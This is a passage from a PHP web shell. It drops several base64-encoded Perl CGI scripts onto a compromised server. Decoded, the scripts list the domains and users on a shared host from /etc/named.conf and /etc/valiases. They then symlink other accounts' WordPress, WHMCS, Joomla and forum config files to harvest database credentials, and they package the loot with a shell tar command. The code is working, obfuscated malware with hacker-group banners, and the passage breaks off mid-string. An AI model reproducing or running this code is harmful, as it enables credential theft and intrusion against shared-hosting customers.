"; }elseif($_POST[tool]=='ToolsConfig'){ $toolsx3 = 'ToolsConfig'; mkdir('ToolsConfig'); chdir('ToolsConfig'); $cof = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6 IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFRE IFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwx L0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3Lncz Lm9yZy8xOTk5L3hodG1sIj4KCjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1 YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBj b250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+Cjx0aXRsZT5Qcml2OCBTQ1I8L3Rp dGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoubmV3U3R5bGUxIHsKIGZvbnQtZmFtaWx5OiBU YWhvbWE7CiBmb250LXNpemU6IHgtbGFyZ2U7CiBjb2xvcjogIzAwMDAwMDsKIGJhY2tncm91bmQt Y29sb3I6ICNDMEMwQzA7CiB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KPC9zdHlsZT4KPC9oZWFkPgon OwpzdWIgbGlsewogICAgKCR1c2VyKSA9IEBfOwokbXNyID0gcXh7cHdkfTsKJGtvbGE9JG1zci4i LyIuJHVzZXI7CiRrb2xhPX5zL1xuLy9nOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGlj X2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy50eHQnKTsKc3ltbGluaygnL2hv bWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLicxLnR4 dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtv bGEuJzIudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9p bmNsdWRlcy9jb25maWcucGhwJywka29sYS4nMy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNl ci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nNS50eHQnKTsKc3ltbGluaygn L2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLic0LnR4 dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcs JGtvbGEuJzEzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxv Zy93cC1jb25maWcucGhwJywka29sYS4nMTQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIu Jy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLic2LnR4dCcpOwpzeW1saW5rKCcv aG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLic3LnR4dCcp OwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xh Lic4LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5w aHAnLCRrb2xhLic5LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv Y29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicxMC50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNl ci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJzEyLnR4dCcpOwpzeW1s aW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhw Jywka29sYS4nMTEudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93 aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicxNS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4k dXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicxNi50eHQn KTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJh dGlvbi5waHAnLCRrb2xhLicxNy50eHQnKTsKfQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBl cSAnUE9TVCcpIHsKICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9 KTsKfSBlbHNlIHsKICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cn0KQHBhaXJzID0g c3BsaXQoLyYvLCAkYnVmZmVyKTsKZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7CiAgKCRuYW1lLCAk dmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7CiAgJG5hbWUgPX4gdHIvKy8gLzsKICAkbmFtZSA9 fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOwogICR2 YWx1ZSA9fiB0ci8rLyAvOwogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkv cGFjaygiQyIsIGhleCgkMSkpL2VnOwogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsKfQppZiAoJEZP Uk17cGFzc30gZXEgIiIpewpwcmludCAnCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPgo8cD5Qcml2 ODwvcD4KPHA+Ojo6Q29uZmlnOjo6PC9wPgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEg bmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBweCI+PC90ZXh0YXJl YT4KPGJyIC8+CjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDogMjEy cHgiIC8+PGJyIC8+CjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJz dWJtaXQiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz48YnIgLz4KPC9mb3JtPic7Cn1lbHNlewpAbGlu ZXMgPTwkRk9STXtwYXNzfT47CiR5ID0gQGxpbmVzOwpvcGVuIChNWUZJTEUsICI+dGFyLnRtcCIp OwpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOwpmb3IgKCRrYT0w OyRrYTwkeTska2ErKyl7CndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpewombGls KCQxKTsKcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7CmZvcigka2Q9MTska2Q8MTg7JGtkKyspewpw cmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7Cn0KfQogfQpwcmludCc8Ym9keSBjbGFzcz0ibmV3 U3R5bGUxIj4KPHA+RG9uZSAhITwvcD4KPHA+Jm5ic3A7PC9wPic7CmlmKCRGT1JNe3Rhcn0gbmUg IiIpewpvcGVuKElORk8sICJ0YXIudG1wIik7CkBsaW5lcyA9PElORk8+IDsKY2xvc2UoSU5GTyk7 CnN5c3RlbShAbGluZXMpOwpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPkNs aWNrIGhlcmUgMiBkb3dubG9hZCB0YXIgZmlsZTwvYT48L3A+JzsKfQp9CiBwcmludCIKPC9ib2R5 Pgo8L2h0bWw+Ijs='; file_put_contents('ConfigALL.alajman',base64_decode($cof));; echo "Here ConfigALL.alajman
"; $usr = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6 IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFRE IFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwx L0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3Lncz Lm9yZy8xOTk5L3hodG1sIj4KCjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1 YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBj b250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+Cjx0aXRsZT5IYUNrZWQgQnkgVGln RXJfWWVtZW48L3RpdGxlPgo8dGl0bGU+Tm9EQEhvdG1haWwuQ29tPC90aXRsZT4KPHN0eWxlIHR5 cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOwog Zm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsKIGZvbnQtc2l6 ZTogbGFyZ2U7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjRkZGRkZGOwp9Ci5zdHlsZTEg ewogdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGNsYXNzPSJu ZXdTdHlsZTEiPgoKPHAgY2xhc3M9InN0eWxlMSI+Ojo6OlRpZ0VyX1llbWVuOjo6OiA8L3A+Cjxw IGNsYXNzPSJzdHlsZTEiPkJ5cGFzczwvcD4KPHAgY2xhc3M9InN0eWxlMSI+Ojo6OlRpZ0VyX1ll bWVuOjo6OjwvcD4KPHAgY2xhc3M9InN0eWxlMSI+IDxmb250IGNvbG9yPSIjRkYwMDAwIj5Xd3cu c2EtaGFja2VyLmNvbTwvZm9udD48L3A+Cic7Cm9wZW4gKGQwbWFpbnMsICcvZXRjL25hbWVkLmNv bmYnKSBvciAkZXJyPTE7CkBrciA9IDxkMG1haW5zPjsKY2xvc2UgZDBtYWluczsKaWYgKCRlcnIp ewpwcmludCAoJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD48cCBjbGFzcz0ic3R5bGUxIj5D MHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CmRpZSgpOwp9ZWxzZXsKcHJpbnQgJzxw IGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4KPHAgY2xhc3M9InN0eWxlMSI+SDNyMyAhcyA0MTEg RDBtNCFucyAmYW1wOyBVczNycyA6PC9wPgonO30KZm9yZWFjaCBteSAkb25lIChAa3IpCnsKaWYo JG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7Lyl7CiRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMv Ii4kMTsKJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwpwcmludCAnPHAg Y2xhc3M9InN0eWxlMSI+Jy4kMS4nIDogJy4kb3duZXIuJzwvcD4KJzsKfQp9CnByaW50JzwvYm9k eT48L2h0bWw+JzsK'; file_put_contents('usr.Lov3r',base64_decode($usr));; echo "Here usr.Lov3r
"; $ConfigWHMCS = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6 IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFRE IFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwx L0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3Lncz Lm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3Vh Z2UiIGNvbnRlbnQ9ImVuLXVzIiAvPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNv bnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPHRpdGxlPnRoZS1zd29yZEByMDB0 I348L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoubmV3U3R5bGUxIHsKIGZvbnQtZmFt aWx5OiBUYWhvbWE7CiBmb250LXNpemU6IHgtc21hbGw7CiBmb250LXdlaWdodDogYm9sZDsKIGNv bG9yOiAjMDBGRkZGOwogIHRleHQtYWxpZ246IGNlbnRlcjsKfQo8L3N0eWxlPgo8L2hlYWQ+Cic7 CnN1YiBsaWx7CiAgICAoJHVzZXIpID0gQF87CiRtc3IgPSBxeHtwd2R9Owoka29sYT0kbXNyLiIv Ii4kdXNlcjsKJGtvbGE9fnMvXG4vL2c7CiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGlj X2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0xbWVtYmVycy50eHQnKSA7 IAogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21lbWJlci9jb25maWd1cmF0 aW9uLnBocCcsJGtvbGEuJy0xbWVtYmVyLnR4dCcpIDsgCiBzeW1saW5rKCcvaG9tZS8nLiR1c2Vy LicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3Nvcmpvb21sYS50 eHQnKSA7IAogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25m aWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpIDsgCiBzeW1saW5rKCcvaG9tZS8n LiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1j bGllbnQudHh0JykgOyAKIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxs aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0JykgOyAKIHN5bWxpbmso Jy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcs JGtvbGEuJy1iaWxsaW5ncy50eHQnKSA7IAogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1Ymxp Y19odG1sL2luY2x1ZGVzL2RiY29uZmlnLnBocCcsJGtvbGEuJy1hdy50eHQnKSA7IAogc3ltbGlu aygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2RiY29uZmlnLnBocCcsJGtvbGEu Jy13aG1jczIudHh0JykgOyAKIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93 aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG0udHh0Jyk7CnN5bWxpbmsoJy9ob21lLycu JHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htYy50 eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmln dXJhdGlvbi5waHAnLCRrb2xhLidzdXBwb3J0LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2Vy LicvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLidzdXBwb3J0 cy50eHQnKTsKCgp9CmlmICgkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICdQT1NUJykgewogIHJl YWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwp9IGVsc2UgewogICRi dWZmZXIgPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsKfQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZm ZXIpOwpmb3JlYWNoICRwYWlyIChAcGFpcnMpIHsKICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgv PS8sICRwYWlyKTsKICAkbmFtZSA9fiB0ci8rLyAvOwogICRuYW1lID1+IHMvJShbYS1mQS1GMC05 XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7CiAgJHZhbHVlID1+IHRyLysvIC87 CiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQx KSkvZWc7CiAgJEZPUk17JG5hbWV9ID0gJHZhbHVlOwp9CmlmICgkRk9STXtwYXNzfSBlcSAiIil7 CnByaW50ICcKPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+CjxwPlRo ZSBTd29yZCBDb25maWcgRnVjayBTY3JpcHQ8L3A+CjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5b PC9mb250PiBDb2RlZCBCeSA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+S2FyYXIgYUxTaGFNaTwvZm9u dD4gPGZvbnQgY29sb3I9IiNDMEMwQzAiPnw8L2ZvbnQ+IApEZXZlbG9wZWQgQnkgPHNwYW4gc3R5 bGUgdGl0bGU+Cjxmb250IGNvbG9yPSIjRkYwMDAwIj48c3BhbiBpZD0icmVzdWx0X2JveCIgbGFu Zz0iZW4iPlRoZSBTd29yZCArIFJBQjNPVU48L3NwYW4+PC9mb250PjxzcGFuIGlkPSJyZXN1bHRf Ym94IiBjbGFzcz0ic2hvcnRfdGV4dCIgbGFuZz0iZW4iPiA8L3NwYW4+PC9zcGFuPgo8Zm9udCBj b2xvcj0iI0MwQzBDMCI+XTwvZm9udD48L3A+Cjxmb3JtIG1ldGhvZD0icG9zdCI+Cjx0ZXh0YXJl YSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDU3 MzsgaGVpZ2h0OiAyMzA2OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRh aG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRiIgID48L3RleHRhcmVhPjxiciAvPgom bmJzcDs8cD4KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9ImJvcmRlcjoxcHgg ZG90dGVkICMwMEZGRkY7IHdpZHRoOiAyMTJweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBm b250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMEZGRkY7ICIgIC8+PGJy IC8+CiZuYnNwOzwvcD4KPHA+CjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZh bHVlPSJHZXQgQ29uZmlnIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6 IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMDBGRkZGOyB0 ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMw QzBDIiAvPjwvcD4KPC9mb3JtPic7Cn1lbHNlewpAbGluZXMgPTwkRk9STXtwYXNzfT47CiR5ID0g QGxpbmVzOwpvcGVuIChNWUZJTEUsICI+dGFyLnRtcCIpOwpwcmludCBNWUZJTEUgInRhciAtY3pm ICIuJEZPUk17dGFyfS4iLnRhciAiOwpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7CndoaWxlKEBs aW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpewombGlsKCQxKTsKcHJpbnQgTVlGSUxFICQxLiIu dHh0ICI7CmZvcigka2Q9MTska2Q8MTg7JGtkKyspewpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0 ICI7Cn0KfQogfQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAw Ij4KPHA+RG9uZSAhITwvcD4KPHA+Jm5ic3A7PC9wPic7CmlmKCRGT1JNe3Rhcn0gbmUgIiIpewpv cGVuKElORk8sICJ0YXIudG1wIik7CkBsaW5lcyA9PElORk8+IDsKY2xvc2UoSU5GTyk7CnN5c3Rl bShAbGluZXMpOwpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNv bG9yPSIjMDBGRjAwIj4KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+Q2xpY2sg SGVyZSBUbyBEb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOwp9Cn0KIHBy aW50Igo8L2JvZHk+CjwvaHRtbD4iOwo='; file_put_contents('ConfigWHMCS.Shark',base64_decode($ConfigWHMCS));; echo "Here ConfigALL.Shark
"; $ConfigWORDPRESS = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6 IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFRE IFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwx L0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3Lncz Lm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3Vh Z2UiIGNvbnRlbnQ9ImVuLXVzIiAvPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNv bnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPHRpdGxlPkZ1Q2tlZCBbd3BdIEJ5 IGtpbkcgb0YgY29OVHJvTDwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ci5uZXdTdHls ZTEgewogZm9udC1mYW1pbHk6IFRhaG9tYTsKIGZvbnQtc2l6ZTogeC1zbWFsbDsKIGZvbnQtd2Vp Z2h0OiBib2xkOwogY29sb3I6ICMwMEZGRkY7CiAgdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5 bGU+CjwvaGVhZD4KJzsKc3ViIGxpbHsKICAgICgkdXNlcikgPSBAXzsKJG1zciA9IHF4e3B3ZH07 CiRrb2xhPSRtc3IuIi8iLiR1c2VyOwoka29sYT1+cy9cbi8vZzsKc3ltbGluaygnL2hvbWUvJy4k dXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEudHh0 Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5w aHAnLCRrb2xhLid+fldvcmRwcmVzczIudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9w dWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MzLnR4dCcpOwpz eW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5w aHAnLCRrb2xhLid+fldvcmRwcmVzczQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9w dWJsaWNfaHRtbC93cHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzNS50eHQn KTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhw Jywka29sYS4nfn5Xb3JkcHJlc3M2LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVi bGljX2h0bWwvb2xkL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczcudHh0Jyk7CnN5 bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRr b2xhLid+fldvcmRwcmVzczgudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNf aHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczkudHh0Jyk7CnN5bWxp bmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ub3ZvL3dwLWNvbmZpZy5waHAnLCRrb2xh Lid+fldvcmRwcmVzczEwLnR4dCcpOwoKfQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAn UE9TVCcpIHsKICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsK fSBlbHNlIHsKICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cn0KQHBhaXJzID0gc3Bs aXQoLyYvLCAkYnVmZmVyKTsKZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7CiAgKCRuYW1lLCAkdmFs dWUpID0gc3BsaXQoLz0vLCAkcGFpcik7CiAgJG5hbWUgPX4gdHIvKy8gLzsKICAkbmFtZSA9fiBz LyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOwogICR2YWx1 ZSA9fiB0ci8rLyAvOwogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFj aygiQyIsIGhleCgkMSkpL2VnOwogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsKfQppZiAoJEZPUk17 cGFzc30gZXEgIiIpewpwcmludCAnCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMw MDAwMDAiPgo8cD5XaCAuYnI8L3A+CjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBD b2RlZCBCeSA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ITwvZm9udD4gPGZvbnQgY29sb3I9IiNDMEMw QzAiPnw8L2ZvbnQ+IApEZXZlbG9wZWQgQnkgPHNwYW4gc3R5bGUgdGl0bGU+Cjxmb250IGNvbG9y PSIjRkYwMDAwIj48c3BhbiBpZD0icmVzdWx0X2JveCIgbGFuZz0iZW4iPiAhPC9zcGFuPjwvZm9u dD48c3BhbiBpZD0icmVzdWx0X2JveCIgY2xhc3M9InNob3J0X3RleHQiIGxhbmc9ImVuIj4gPC9z cGFuPjwvc3Bhbj4KPGZvbnQgY29sb3I9IiNDMEMwQzAiPl08L2ZvbnQ+PC9wPgo8Zm9ybSBtZXRo b2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVk ICMwMEZGRkY7IHdpZHRoOiA1NzM7IGhlaWdodDogMjMwNjsgYmFja2dyb3VuZC1jb2xvcjojMEMw QzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMEZGRkYiICA+ PC90ZXh0YXJlYT48YnIgLz4KJm5ic3A7PHA+CjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQi IHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogMjEycHg7IGJhY2tncm91 bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xv cjojMDBGRkZGOyAiICAvPjxiciAvPgombmJzcDs8L3A+CjxwPgo8aW5wdXQgbmFtZT0iU3VibWl0 MSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0IENvbmZpZyIgc3R5bGU9ImJvcmRlcjoxcHggZG90 dGVkICMwMEZGRkY7IHdpZHRoOiA5OTsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6MTBw dDsgY29sb3I6IzAwRkZGRjsgdGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlOyBoZWlnaHQ6MjM7IGJh Y2tncm91bmQtY29sb3I6IzBDMEMwQyIgLz48L3A+CjwvZm9ybT4nOwp9ZWxzZXsKQGxpbmVzID08 JEZPUk17cGFzc30+OwokeSA9IEBsaW5lczsKb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsKcHJp 